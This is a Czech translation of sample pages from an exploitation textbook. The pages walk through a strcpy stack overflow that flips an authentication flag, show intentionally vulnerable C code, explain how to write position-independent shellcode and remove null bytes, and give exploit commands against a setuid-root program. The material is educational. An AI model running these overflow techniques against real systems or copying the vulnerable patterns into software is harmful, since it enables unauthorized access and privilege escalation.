Debugger GDB jsme spustili s volbou -q, abychom potlačili uvítací záhlaví. Body přerušení byly nastaveny pro řádky 9 a 16, takže jakmile se program spustí, bude na nich pozastaveno vykonávání programu a my dostaneme šanci prozkoumat paměť. (gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Starting program: /home/reader/booksrc/auth_overflow AAAAAAAAAAAAAAAAAAAAAAAA AAAAAA Breakpoint 1, check_authentication (password=0xbffff9af 'A' <repeats 30 times>) at auth_overflow.c:9 9
strcpy(password_buffer, password);
(gdb) x/s password_buffer 0xbffff7a0:
")????o??????)\205\004\b?o??p???????"
(gdb) x/x &auth_flag 0xbffff7bc:
0x00000000
Hacking – umění exploitace
151
(gdb) print 0xbffff7bc - 0xbffff7a0 $1 = 28 (gdb) x/16xw password_buffer 0xbffff7a0:
0xb7f9f729
0xb7fd6ff4
0xbffff7d8
0x08048529
0xbffff7b0:
0xb7fd6ff4
0xbffff870
0xbffff7d8
0x00000000
0xbffff7c0:
0xb7ff47b0
0x08048510
0xbffff7d8
0x080484bb
0xbffff7d0:
0xbffff9af
0x08048510
0xbffff838
0xb7eafebc
(gdb)
První bod přerušení je před voláním strcpy(). Pokud prozkoumáte ukazatel password_buffer, debugger vám ukáže, že je naplněn náhodnými neinicializovanými daty, a že se nachází v paměti na adrese 0xbffff7a0. Pokud prozkoumáte adresu proměnné auth_flag, uvidíte, že je umístěna na 0xbffff7bc, a že její hodnota je 0. Příkaz print může být použit pro vykonání aritmetické operace a zobrazení, že auth_flag je 28 bajtů za začátkem password_buffer. Tento vztah je také možné vydedukovat z bloku paměti (počínaje password_buffer). (gdb) continue Continuing. Breakpoint 2, check_authentication (password=0xbffff9af 'A' <repeats 30 times>) at auth_overflow.c:16 16
return auth_flag;
(gdb) x/s password_buffer 0xbffff7a0:
'A' <repeats 30 times>
(gdb) x/x &auth_flag 0xbffff7bc:
0x00004141
(gdb) x/16xw password_buffer 0xbffff7a0:
0x41414141
0x41414141
0x41414141
0x41414141
0xbffff7b0:
0x41414141
0x41414141
0x41414141
0x00004141
0xbffff7c0:
0xb7ff47b0
0x08048510
0xbffff7d8
0x080484bb
0xbffff7d0:
0xbffff9af
0x08048510
0xbffff838
0xb7eafebc
(gdb) x/4cb &auth_flag 0xbffff7bc:
65 'A' 65 'A' 0 '\0' 0 '\0'
(gdb) x/dw &auth_flag 0xbffff7bc:
16705
(gdb)
Pokračujme k druhému bodu přerušení, který je za strcpy(), a opět prozkoumejme stejná místa v paměti. Buffer password_buffer přetekl do the auth_flag, takže změnil první dva bajty na 0x41. Z hodnoty 0x00004141 by se mohlo zdát, že se nic nestalo, ale vzpomeňte si, že platforma x86 používá architekturu little-endian (tj. nejméně významný bajt se uloží jako první), takže se předpokládá, že se na ně bude hledět takto. Pokud prozkoumáte všechny čtyři bajty jeden po dru-
0x300 – Exploitace
152
hém, přesně uvidíte, jak je paměť ve skutečnosti rozložena. Důsledkem toho všeho je, že program bude tuto hodnotu považovat za celé číslo s hodnotou 16 705. (gdb) continue Continuing. -=-=-=-=-=-=-=-=-=-=-=-=-=Access Granted. -=-=-=-=-=-=-=-=-=-=-=-=-=Program exited with code 034. (gdb)
Po přetečení funkce check_authentication() vrátí hodnotu 16 705, nikoli 0. Protože v příkazu if se považuje za autentizovanou jakákoliv nenulová hodnota, přejde tok vykonávání programu do autentizované sekce. V tomto příkladu je řídicím bodem vykonávání proměnná auth_flag, protože zdrojem řízení byl přepis této hodnoty. Tohle byl ovšem velmi vyumělkovaný příklad, který byl závislý na rozvržení paměti proměnných. V souboru auth_overflow2.c jsou proměnné deklarovány v opačném pořadí. (Změny vůči souboru auth_overflow.c jsou zvýrazněny tučně.)
auth_overflow2.c #include <stdio.h> #include <stdlib.h> #include <string.h> int check_authentication(char *password) { char password_buffer[16]; int auth_flag = 0; strcpy(password_buffer, password); if(strcmp(password_buffer, "brillig") == 0) auth_flag = 1; if(strcmp(password_buffer, "outgrabe") == 0) auth_flag = 1; return auth_flag; } int main(int argc, char *argv[]) { if(argc < 2) {
0x500 SHELLKÓD
Shellkód, který jsme až doposud používali v našich exploitech, byl pouhý řetězec zkopírovaných a vložených bajtů. Viděli jste standardní shellkód plodící shell pro lokální exploity a shellkód navazující se na port pro vzdálené exploity. Shellkódu se také někdy říká exploitační granát, protože se jedná o soběstačné programy, které vykonají svou práci, jakmile se nabouráte do programu. Shellkód obvykle zplodí shell, protože to je velmi elegantní způsob, jak přehrát řízení na někoho jiného. Může ovšem dělat i něco úplně jiného, cokoliv, co programy dovedou. Pro mnoho hackerů ovšem příběh o shellkódu končí u kopírování a vkládání bajtů. Bohužel. Takoví hackeři smočili pouze palec v moři možného. Vlastní shellkód dává absolutní kontrolu nad exploitovaným programem. Možná chcete, aby váš shellkód přidal administrátorský účet do /etc/ passwd, nebo aby automaticky odstraňoval řádky z protokolovacích souborů. Jakmile víte, jak napsat vlastní shellkód, jsou vaše exploitační možnosti limitovány pouze vaší představivostí. A navíc – když píšete shellkódy, rozvíjíte své dovednosti týkající se jazyka assembler a osvojujete si řadu hackerských technik, které opravdu stojí za to umět.
0x510 Assembler versus C Bajty shellkódu jsou ve skutečnosti strojové instrukce, které jsou specifické pro danou architekturu, protože se shellkód píše v assembleru. Psát program v assembleru je něco jiného, než když se píše program v C, mnohé principy jsou ovšem podobné. Věci, jako jsou vstup, výstup, řízení procesů, přístup k souborům a komunikace po síti, jsou operačním systémem spravovány v kernelu. Zkompilované programy C pak provádějí tyto úlohy tak, že činí systémová volání do kernelu. Různé operační systémy mají různé sady systémových volání. V C se kvůli pohodlí a přenositelnosti používají standardní knihovny. Program v jazyku C, který pro výstup řetězce používá printf(), je možné zkompilovat pro mnoho různých systémů, protože knihovna zná patřičná systémová volání pro jednotlivé architektury. Program C, který byl zkompilován na procesoru x86, vyprodukuje kód assembleru pro procesor x86.
0x500 – Shellkód
332
Jazyk assembler je už ze své definice specifický ke konkrétní procesorové architektuře, takže přenositelnost není možná. Nejsou zde žádné standardní knihovny; systémová volání do kernelu se musejí činit přímo. Abychom si obojí mohli porovnat názorně, začneme jednoduchým programem C, který poté přepíšeme do assembleru x86.
helloworld.c #include <stdio.h> int main() { printf("Hello, world!\n"); return 0; }
Jakmile zkompilovaný program poběží, vykonávání proteče standardní knihovnou I/O a učiní se systémové volání, aby se na obrazovku vypsal řetězec "Hello, world!". Systémová volání programu se dají sledovat programem strace. Pokud ho budeme aplikovat na zkompilovaný program helloworld.c, zobrazí všechna systémová volání, která program učinil. reader@hacking:~/booksrc $ gcc helloworld.c reader@hacking:~/booksrc $ strace ./a.out execve("./a.out", ["./a.out"], [/* 27 vars */]) = 0 brk(0)
= 0x804a000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7ef6000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=61323, ...}) = 0 mmap2(NULL, 61323, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7ee7000 close(3)
= 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20Z\1\000"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1248904, ...}) = 0 mmap2(NULL, 1258876, PROT_READ|PROT_EXEC, MAP_PRIVATE| MAP_DENYWRITE, 3, 0) = 0xb7db3000 mmap2(0xb7ee0000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED| MAP_DENYWRITE, 3, 0x12c) = 0xb7ee0000 mmap2(0xb7ee4000, 9596, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED| MAP_ANONYMOUS, -1, 0) = 0xb7ee4000 close(3) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE| MAP_ANONYMOUS, -1, 0) = 0xb7db2000
Hacking – umění exploitace
333
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7db26b0, limit:1048575, seg_32bit:1,contents:0, read_exec_only:0, limit_in_pages:1, seg_not_ present:0, useable:1}) = 0 mprotect(0xb7ee0000, 8192, PROT_READ)
= 0
munmap(0xb7ee7000, 61323)
= 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7ef5000 write(1, "Hello, world!\n", 13Hello, world! ) = 13 exit_group(0) = ? Process 11528 detached reader@hacking:~/booksrc $
Jak sami vidíte, zkompilovaný program dělá celou řadu věcí, nikoliv pouze to, že vytiskne řetězec. Systémová volání na začátku připravují prostředí a paměť pro program. Povšimněte si důležité části, kterou je systémové volání write() zvýrazněné tučně. Tam se skutečně vypíše řetězec Manuálové stránky Unixu, ke kterým se přistupuje prostřednictvím příkazu man, jsou rozděleny do jednotlivých sekcí. Sekce 2 obsahuje manuálovou stránku pro systémová volání, takže pokud zadáte příkaz man 2 write, dozvíte se, jakým způsobem se používá systémové volání write():
Manuálová stránka pro systémové volání write() WRITE(2)
Linux Programmer's Manual
WRITE(2) NÁZEV write – zapisuje do deskriptoru souboru SYNOPSE #include <unistd.h> ssize_t write(int fd, const void *buf, size_t count); POPIS write() zapíše až count bajtů do souboru, na který se odkazuje deskriptorem fd, z bufferu, jenž začíná na buf. POSIX požaduje, aby read(), k němuž může dojít po write(), vrátil nová data. Připomínáme, že všechny souborové systémy nejsou v souladu s POSIX.
Výstup z programu strace rovněž ukáže argumenty systémového volání. Argumenty buf a count jsou ukazatele na náš řetězec a jeho délka. Argument fd, 1, je speciální standardní souborový deskriptor. V Unixu se souborové deskriptory používají pro téměř všechno: vstup, výstup, přístup k souboru, síťové sockety atd. Souborový deskriptor lze přirovnat k situaci, kdy dáváte kabát do
334
0x500 – Shellkód
čistírny, protože dostanete lístek s číslem. A pomocí tohoto čísla se poté můžete odkazovat na svůj kabát. První tři čísla souborových deskriptorů (0, 1, 2) se automaticky používají pro standardní vstup, výstup a výstup chyb. Tyto hodnoty jsou standardní a jsou definovány na několika místech, například v souboru /usr/include/unistd.h:
Výňatek z /usr/include/unistd.h /* Standardní souborové deskriptory. */ #define STDIN_FILENO 0
/* Standardní vstup. */
#define STDOUT_FILENO 1
/* Standardní výstup. */
#define STDERR_FILENO 2
/* Standardní výstup chyb. */
Zapisování bajtů na souborový deskriptor 1 standardního výstupu znamená, že se bajty vytisknou; čtení ze souborového deskriptoru 0 standardního vstupu znamená, že se bajty načtou. Se souborovým deskriptorem 2 standardního výstupu chyb se zobrazují chyby nebo ladicí zprávy, aby byly odděleny od standardního výstupu.
0x511
Linuxová systémová volání v assembleru
Každé možné systémové volání má v Linuxu přiřazené číslo, takže pokud v assembleru potřebujete vykonat nějaké volání, lze se na něj odkázat prostřednictvím čísla. Čísla systémových volání jsou uvedena v souboru /usr/include/asm-i386/unistd.h.
Výňatek z /usr/include/asm-i386/unistd.h #ifndef _ASM_I386_UNISTD_H_ #define _ASM_I386_UNISTD_H_ /* * Tento soubor obsahuje čísla systémových volání. */ #define __NR_restart_syscall 0 #define __NR_exit
1
#define __NR_fork
2
#define __NR_read
3
#define __NR_write
4
#define __NR_open
5
#define __NR_close
6
#define __NR_waitpid
7
#define __NR_creat
8
#define __NR_link
9
#define __NR_unlink
10
#define __NR_execve
11
Hacking – umění exploitace #define __NR_chdir
12
#define __NR_time
13
#define __NR_mknod
14
#define __NR_chmod
15
#define __NR_lchown
16
#define __NR_break
17
#define __NR_oldstat
18
#define __NR_lseek
19
#define __NR_getpid
20
#define __NR_mount
21
#define __NR_umount
22
#define __NR_setuid
23
#define __NR_getuid
24
#define __NR_stime
25
#define __NR_ptrace
26
#define __NR_alarm
27
#define __NR_oldfstat
28
#define __NR_pause
29
#define __NR_utime
30
#define __NR_stty
31
#define __NR_gtty
32
#define __NR_access
33
#define __NR_nice
34
#define __NR_ftime
35
#define __NR_sync
36
#define __NR_kill
37
#define __NR_rename
38
#define __NR_mkdir
39
335
...
Abychom přepsali soubor helloworld.c do assembleru, budeme muset učinit jedno systémové volání funkce write() pro výstup a druhým zavolat exit(), aby proces hladce skončil. V assembleru x86 se to zařídí pouze dvěma assemblerovými instrukcemi: mov a int. Assemblerové instrukce pro procesor x86 mají jeden, dva, tři, nebo žádný operand. Operandy instrukce mohou být číselné hodnoty, paměťové adresy, nebo procesorové registry. Procesor x86 má několik 32bitových registrů, na které lze pohlížet jako na hardwarové proměnné. Registry EAX, EBX, ECX, EDX, ESI, EDI, EBP a ESP se dají použít jako operandy, registr EIP nikoliv. Instrukce mov kopíruje hodnotu mezi svými dvěma operandy. V assemblerové syntaxi Intel je první operand cíl, druhý operand je zdroj. Instrukce int odešle do kernelu přerušovací signál, který je definován jejím jediným operandem. V kernelu Linuxu se přerušením 0x80 říká, aby učinil nějaké systémové volání. Když se vykonává instrukce int 0x80, kernel učiní systémové volání na základě prvních čtyř registrů. Registr EAX specifikuje, o které systémové volání jde, zatímco registry EBX,
336
0x500 – Shellkód
ECX a EDX jsou použity pro první, druhý a třetí argument daného systémového volání. Všechny tyto registry se dají nastavit instrukcí mov. V níže uvedeném výpisu kódu assembleru se deklarují paměťové segmenty. Řetězec "Hello, world!" se znakem pro nový řádek (newline, 0x0a) je umístěn v segmentu data, skutečné assemblerové instrukce jsou v segmentu text. Tím jsou dodrženy řádné praktiky při segmentaci paměti.
helloworld.asm section .data
; Segment data
msg db "Hello, world!", 0x0a ; Řetězec a znak pro nový řádek, newline section .text
; Segment text
global _start
; Výchozí vstupní bod pro linker ELF
_start: ; SYSCALL: write(1, msg, 14) mov eax, 4
; Dá 4 ido eax, protože write je systémové volání č. 4.
mov ebx, 1
; Dá 1 do ebx, protože standardní výstup je 1.
mov ecx, msg
; Dá adresu řetězce do ecx.
mov edx, 14
; Dá 14 do edx, protože řetězec má 14 bajtů.
int 0x80
; Zavolá kernel, aby učinil systémové volání.
; SYSCALL: exit(0) mov eax, 1
; Dá 1 do eax, protože exit je systémové volání č. 1.
mov ebx, 0
; Exit úspěšný.
int 0x80
; Učiní systémové volání.
Instrukce programu jsou bezproblémové. Pro systémové volání write() na standardní výstup se do EAX umístí hodnota 4, protože funkce write() je systémové volání, které má přiřazeno číslo 4. Poté se do EBX dá hodnota 1, protože první argument funkce write() musí být souborový deskriptor pro standardní výstup. Do ECX se dá adresa řetězce v segmentu data a do EDX délka řetězce (v tomto případě 14 bajtů). Poté, co se tyto registry načtou, spustí se přerušení (interrupt), které zavolá funkci write(). Aby program skončil hladce, je třeba zavolat funkci exit() s jediným argumentem 0. Do registru EAX se tedy vloží hodnota 1, protože exit() je systémové volání s přiřazeným číslem 1. Do EBX se dá 0, protože první a zároveň jediný argument má být 0. Poté se znovu spustí přerušení. Abychom z kódu vytvořili spustitelný binární program, kód assembleru musíme sestavit a nalinkovat do spustitelného formátu. Když kompilujeme kód C, o všechno se automaticky postará kompilátor GCC. My se chystáme vytvořit binární ELF (executable and linking format) soubor, takže řádek global _start říká linkeru (sestavovacímu programu), kde začínají instrukce assembleru. Assembler nasm s argumentem -f elf sestaví helloworld.asm do objektového souboru, který už bude možné nalinkovat (linked) jako binární ELF soubor. Tento objektový soubor standardně
Hacking – umění exploitace
337
dostane název helloworld.o. Sestavovací program ld vyprodukuje ze sestaveného objektového souboru spustitelný binární soubor a.out. reader@hacking:~/booksrc $ nasm -f elf helloworld.asm reader@hacking:~/booksrc $ ld helloworld.o reader@hacking:~/booksrc $ ./a.out Hello, world! reader@hacking:~/booksrc $
Ačkoliv tento malinkatý prográmek funguje, nejedná se o shellkód, protože není soběstačný a musí být nalinkován (linked).
0x520 Cesta k shellkódu Shellkód se doslovně injektuje do běžícího programu, kde pak funguje jako virus uvnitř buňky. Protože shellkód není opravdový spustitelný program, nemůžeme si dovolit luxus deklarovat rozvržení dat v paměti nebo dokonce používat jiné paměťové segmenty. Jeho instrukce musejí být soběstačné a připravené tak, aby uměly rovnou převzít kontrolu nad procesorem, bez ohledu na jeho aktuální stav. Obvykle se tomu říká kód nezávislý na pozici (position-independent code). V shellkódu se musejí bajty řetězce "Hello, world!" šikovně smíchat s bajty assemblerových instrukcí, protože nemáme dispozici paměťové segmenty, které bychom mohli definovat nebo odhadovat. To půjde, pokud se ovšem EIP nepokusí interpretovat řetězec jako instrukce. Pokud budete chtít přistoupit k řetězci jako k datům, budete potřebovat nějaký ukazatel na tento řetězec. Když se shellkód začne vykonávat, může být v paměti kdekoliv, takže jeho absolutní adresa v paměti se musí vypočítat relativně vzhledem k EIP. Protože k EIP není možné přistupovat z assemblerových instrukcí, musíme se uchýlit k nějakému triku.
0x521
Assemblerové instrukce používající zásobník
Zásobník je natolik integrální součástí architektury x86, že pro práci s ním existuje několik speciálních instrukcí, viz následující tabulka. Instrukce
Popis
push <source>
Strčí operand source do zásobníku.
pop <target>
Vytáhne hodnotu ze zásobníku a uloží ji v operandu target.
call <location >
Zavolá nějakou funkci a vykonávání odskočí na adresu uvedenou v operandu location. Umístění může být relativní či absolutní. Adresa instrukce následující za voláním se uloží do zásobníku, takže vykonávání se může později vrátit.
ret
Návrat z funkce. Vytáhne návratovou adresu ze zásobníku a vykonávání skočí na ni.
338
0x500 – Shellkód
Exploity založené na zásobníku se uskutečňují prostřednictvím instrukcí call a ret. Když se zavolá nějaká funkce, strčí se do zásobníku návratová adresa příští instrukce. Když funkce skončí, instrukce ret vytáhne návratovou adresu ze zásobníku a EIP skočí zpět. Pokud přepíšeme návratovou adresu uloženou na zásobníku ještě před vykonáním instrukce ret, můžeme převzít kontrolu nad vykonáváním programu. Tato architektura může být zneužita ještě jedním způsobem pro vyřešení problému s adresováním řádkových (inline) dat řetězce. Pokud je řetězec umístěn ihned za instrukcí call, adresa řetězce bude strčena do zásobníku jako návratová adresa. Takže místo toho, abychom zavolali funkci, rovnou skočíme za řetězec k instrukci pop, která vytáhne adresu ze zásobníku a dá ji do registru. Tuto techniku předvádějí následující assemblerové instrukce.
helloworld1.s BITS 32 call mark_below
; Říká nasm, že se jedná o 32bitový kód. ; Zavolá instrukce nacházející se pod řetězcem
db "Hello, world!", 0x0a, 0x0d ; s bajty newline a carriage return. mark_below: ; ssize_t write(int fd, const void *buf, size_t count); pop ecx
; Vytáhne návratovou adresu (string ptr) do ecx.
mov eax, 4
; Zapíše číslo systémového volání
mov ebx, 1
; Deskriptor souboru pro STDOUT
mov edx, 15
; Délka řetězce
int 0x80
; Učiní systémové volání: write(1, string, 14)
; void _exit(int status); mov eax, 1
; Číslo systémového volání exit
mov ebx, 0
; Stav = 0
int 0x80
; Učiní systémové volání: exit(0)
Instrukce call skočí s vykonáváním pod řetězec. Zároveň také strčí adresu příští instrukce do zásobníku. Touto příští instrukcí je v našem případě začátek řetězce. Návratovou adresu lze okamžitě ze zásobníku vytáhnout do příhodného registru. Nepoužili jsme žádné paměťové segmenty, pouze surové instrukce, které se, když je injektujeme do existujícího procesu, vykonají zcela nezávisle na své pozici. To znamená, že když jsou tyto instrukce sestaveny (assembled), nemohou být nalinkovány (linked) do spustitelného programu. reader@hacking:~/booksrc $ nasm helloworld1.s reader@hacking:~/booksrc $ ls -l helloworld1 -rw-r--r-- 1 reader reader 50 2007-10-26 08:30 helloworld1 reader@hacking:~/booksrc $ hexdump -C helloworld1 00000000 e8 0f 00 00 00 48 65 6c 6c 6f 2c 20 77 6f 72 6c |.....Hello, worl|
Hacking – umění exploitace
339
00000010 64 21 0a 0d 59 b8 04 00 00 00 bb 01 00 00 00 ba |d!..Y...........| 00000020 0f 00 00 00 cd 80 b8 01 00 00 00 bb 00 00 00 00 |................| 00000030 cd 80 |..| 00000032 reader@hacking:~/booksrc $ ndisasm -b32 helloworld1 00000000 E80F000000
call 0x14
00000005 48
dec eax
00000006 656C
gs insb
00000008 6C
insb
00000009 6F
outsd
0000000A 2C20
sub al,0x20
0000000C 776F
ja 0x7d
0000000E 726C
jc 0x7c
00000010 64210A
and [fs:edx],ecx
00000013 0D59B80400
or eax,0x4b859
00000018 0000
add [eax],al
0000001A BB01000000
mov ebx,0x1
0000001F BA0F000000
mov edx,0xf
00000024 CD80
int 0x80
00000026 B801000000
mov eax,0x1
0000002B BB00000000
mov ebx,0x0
00000030 CD80 i
nt 0x80
reader@hacking:~/booksrc $
Assembler nasm konvertuje kód assembleru do strojového kódu a odpovídající nástroj ndisasm převádí strojový kód do kódu assembleru. Oba nástroje jsme použili výše, abychom ukázali, jaký je vztah mezi strojovým kódem a assemblerovými instrukcemi. Disassemblované instrukce zobrazí bajty řetězce "Hello, world!" interpretované jako instrukce. Pokud bychom v této chvíli injektovali tento shellkód do programu a přesměrovali EIP, program vytiskne "Hello, world!". Vyzkoušejme již známý program notesearch jako cíl tohoto exploitu. reader@hacking:~/booksrc $ export SHELLCODE=$(cat helloworld1) reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./notesearch SHELLCODE will be at 0xbffff9c6 reader@hacking:~/booksrc $ ./notesearch $(perl -e ' print "\xc6\xf9\xff\xbf"x40') -------[ end of note data ]------Segmentation fault reader@hacking:~/booksrc $
Krach. Proč myslíte, že to selhalo? V těchto situacích se vaším nejlepším přítelem stává GDB. Ale i když je vám možná jasné, co je v pozadí tohoto konkrétního selhání, naučíte-li se efektivně pracovat s debuggerem, v budoucnosti budete schopni mnohem snáze řešit i jiné problémy.
340
0x500 – Shellkód
0x522
Vyšetřování s GDB
Protože program notesearch běží jako root, nemůžeme ho ladit jako normální uživatel. Nemůžeme se ovšem ani připojit k jeho běžící kopii, protože skončí velmi brzy. Programy se naštěstí dají ladit i jinak, prostřednictvím tzv. dumpu paměti, který je uložen v souboru. Z výzvy root je možné operačnímu systému říci, aby při havárii programu provedl dump paměti. K tomu slouží příkaz ulimit -c unlimited, který zajistí, že vytvořené soubory core mohou být tak velké, jak je to potřeba. Abych to nějak shrnul – když náš program nyní zhavaruje, na disk bude zapsán dump paměti ve formě souboru core, který je následně možné prozkoumat prostřednictvím GDB. reader@hacking:~/booksrc $ sudo su root@hacking:/home/reader/booksrc # ulimit -c unlimited root@hacking:/home/reader/booksrc # export SHELLCODE=$(cat helloworld1) root@hacking:/home/reader/booksrc # ./getenvaddr SHELLCODE ./notesearch SHELLCODE will be at 0xbffff9a3 root@hacking:/home/reader/booksrc # ./notesearch $(perl -e 'print "\xa3\xf9\ xff\xbf"x40') -------[ end of note data ]------Segmentation fault (core dumped) root@hacking:/home/reader/booksrc # ls -l ./core -rw------- 1 root root 147456 2007-10-26 08:36 ./core root@hacking:/home/reader/booksrc # gdb -q -c ./core (no debugging symbols found) Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". Core was generated by `./notesearch £°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E. Program terminated with signal 11, Segmentation fault. #0 0x2c6541b7 in ?? () (gdb) set dis intel (gdb) x/5i 0xbffff9a3 0xbffff9a3:
call
0xbffff9a8:
ins
0x2c6541b7 BYTE PTR es:[edi],[dx]
0xbffff9a9:
outs
[dx],DWORD PTR ds:[esi]
0xbffff9aa:
sub
al,0x20
0xbffff9ac:
ja
0xbffffa1d
(gdb) i r eip eip 0x2c6541b7 0x2c6541b7 (gdb) x/32xb 0xbffff9a3 0xbffff9a3:
0xe8
0x0f
0x48
0x65
0x6c
0x6c
0x6f
0xbffff9ab:
0x20
0x77
0x6f
0x72
0x6c
0x64
0x21
0x0a
0xbffff9b3:
0x0d
0x59
0xb8
0x04
0xbb
0x01
0xba
0x0f
0xbffff9bb:
0xcd
0x80
0xb8
0x01
0xbb
0xcd
0x80
0x00
(gdb) quit
0x2c
Hacking – umění exploitace
341
root@hacking:/home/reader/booksrc # hexdump -C helloworld1 00000000 e8 0f 00 00 00 48 65 6c 6c 6f 2c 20 77 6f 72 6c |.....Hello, worl| 00000010 64 21 0a 0d 59 b8 04 00 00 00 bb 01 00 00 00 ba |d!..Y...........| 00000020 0f 00 00 00 cd 80 b8 01 00 00 00 bb 00 00 00 00 |................| 00000030 cd 80 |..| 00000032 root@hacking:/home/reader/booksrc #
Poté, co se GDB načetl, přepnul jsem styl disassemblování na Intel. Protože jsme GDB spustili jako root, soubor .gdbinit se nepoužije. Nyní prozkoumáme paměť, kde by se měl nacházet náš shellkód. Instrukce vypadají podivně a zdá se, že krach programu zavinila první nesprávná instrukce call. Ačkoliv došlo k přesměrování vykonávání, stalo se poté něco špatného s bajty shellkódu. Za normálních okolností jsou řetězce ukončeny bajtem null, ale zde byl shell natolik ochotný a laskavý, že tyto bajty null odstranil za nás. Tím ovšem totálně zničil význam strojového kódu. Shellkód se do procesů často injektuje v podobě řetězce, pomocí funkcí jako je strcpy(). Takové funkce jednoduše končí, jakmile narazí na první bajt null, takže dojde k tomu, že v paměti bude vyprodukován nekompletní a nepoužitelný shellkód. Aby náš shellkód přežil tranzit bez úhony, musíme ho trochu předělat, aby neobsahoval žádné bajty null.
0x523
Odstranění bajtů null
Když se podíváme na disassemblovaný výstup, je naprosto evidentní, že první bajty null pocházejí z instrukce call. reader@hacking:~/booksrc $ ndisasm -b32 helloworld1 00000000 E80F000000 000000
call 0x14
00000005 48
dec eax
00000006 656C
gs insb
00000008 6C
insb
00000009 6F
outsd
0000000A 2C20
sub al,0x20
0000000C 776F
ja 0x7d
0000000E 726C
jc 0x7c
00000010 64210A
and [fs:edx],ecx
00000013 0D59B80400
or eax,0x4b859
00000018 0000
add [eax],al
0000001A BB01000000
mov ebx,0x1
0000001F BA0F000000
mov edx,0xf
00000024
CD80 int 0x80
00000026 B801000000
mov eax,0x1
0000002B BB00000000
mov ebx,0x0
00000030
CD80 int 0x80
reader@hacking:~/booksrc $
342
0x500 – Shellkód
Tato instrukce na základě prvního argumentu skočí s vykonáváním dopředu o 19 bajtů (0x13). Protože instrukce call umožňuje odskoky i na mnohem větší vzdálenost, musejí se malé hodnoty, jako je 19, vyplnit vedoucími nulami, což vede na bajty null. S tímto je možné se vypořádat různě – jedna z cest vede přes dvojkový doplněk. Malé záporné číslo bude mít své vedoucí bity zapnuté, což povede na bajty 0xff. To znamená, že budeme-li volat s využitím záporné hodnoty, abychom se s vykonáváním posunuli dozadu, strojový kód nebude mít pro tuto instrukci žádné bajty null. Následující revidovaná verze shellkódu helloworld2.s používá standardní implementaci této finty – skočí na konec shellkódu k instrukci call, která poté skočí zase zpět k instrukci pop nacházející se na začátku shellkódu.
helloworld2.s BITS 32
; Říká nasm, že se jedná o 32bitový kód.
jmp short one
; Skočí dolů, k volání na konci.
two: ; ssize_t write(int fd, const void *buf, size_t count); pop ecx ;
Vytáhne návratovou adresu (string ptr) do ecx.
mov eax, 4
; Zapíše číslo systémového volání.
mov ebx, 1
; Souborový deskriptor pro STDOUT.
mov edx, 15
; Délka řetězce.
int 0x80
; Učiní systémové volání: write(1, string, 14)
; void _exit(int status); mov eax, 1
; Číslo systémového volání exit
mov ebx, 0
; Stav = 0
int 0x80
; Učiní systémové volání:
exit(0)
one: call two
; Zavolá zpět nahoru, abychom se vyvarovali bajtů null,
db "Hello, world!", 0x0a, 0x0d ; s bajty newline a carriage return.
Když sestavíme nový shellkód, disassemblovaný výpis ukáže, že instrukce call je již zbavena bajtů null. Ačkoliv jsme tímto vyřešili první a nejobtížnější část problému s bajty null shellkódu, následující výpis ukazuje, že se v něm nachází ještě mnoho dalších bajtů null (jsou zvýrazněny tučně). reader@hacking:~/booksrc $ nasm helloworld2.s reader@hacking:~/booksrc $ ndisasm -b32 helloworld2 00000000 EB1E
jmp short 0x20
00000002 59
pop ecx
00000003 B804000000 000000
mov eax,0x4
00000008 BB01000000 000000
mov ebx,0x1
0x600 PROTIOPATŘENÍ
Sekrety žabičky druhu pralesnička strašná (Phyllobates terribilis) z tropické Ameriky obsahují extrémně účinný jed – jedna žabička vylučuje tolik jedu, že by to stačilo na otrávení deseti dospělých lidí. Jedinou příčinou, proč tato žabička má tak překvapivě mocnou ochranu, je jistý druh hada, který ji požírá a vyvinul si postupně vůči jejímu jedu resistenci. Obranná reakce žab je nasnadě – vyvíjí se u nich stále silnější a silnější jed. Jedním z důsledků této koevoluce je to, že žáby jsou v bezpečí proti všem ostatním predátorům. Tento typ koevoluce probíhá také u hackerů. Jejich exploitační techniky jsou známé už léta, takže je logické, že se vyvíjejí i obranná protiopatření. Hackeři samozřejmě reagují tím, že hledají způsoby, jak tyto obrany obcházet a rozvracet, což zase vede k vytvoření nových obranných technik. Tento cyklus inovací je ve skutečnosti docela blahodárný. I když vám viry a červi mohou způsobit dost trablů a přerušit vaše obchodní aktivity, takže utrpíte značné ztráty, nutí vás k reakci, která daný problém napraví. Červi se replikují tím, že exploitují existující slabá místa ve vadném softwaru. Často jsou tyto závady neodhaleny celé roky, ale relativně benigní červi, jako jsou CodeRed nebo Sasser, si vynutí, aby se takové závady opravily. Je to úplně stejné jako u planých neštovic u lidí – je lepší přetrpět menší vzplanutí nákazy v raném dětství, než se nakazit o mnoho let později, kdy to může mít velmi závažné následky. Kdyby nebylo internetových červů, kteří přitáhli pozornost veřejnosti na chyby v bezpečnosti, mohly by zůstat neopraveny, takže byste byli pořád zranitelní a mohli podlehnout útoku někoho s mnohem zlovolnějšími úmysly, než je pouhá replikace. V tomto ohledu mohou červi a viry, pokud se na to díváme z dlouhodobého hlediska, skutečně posílit bezpečnost. Existují 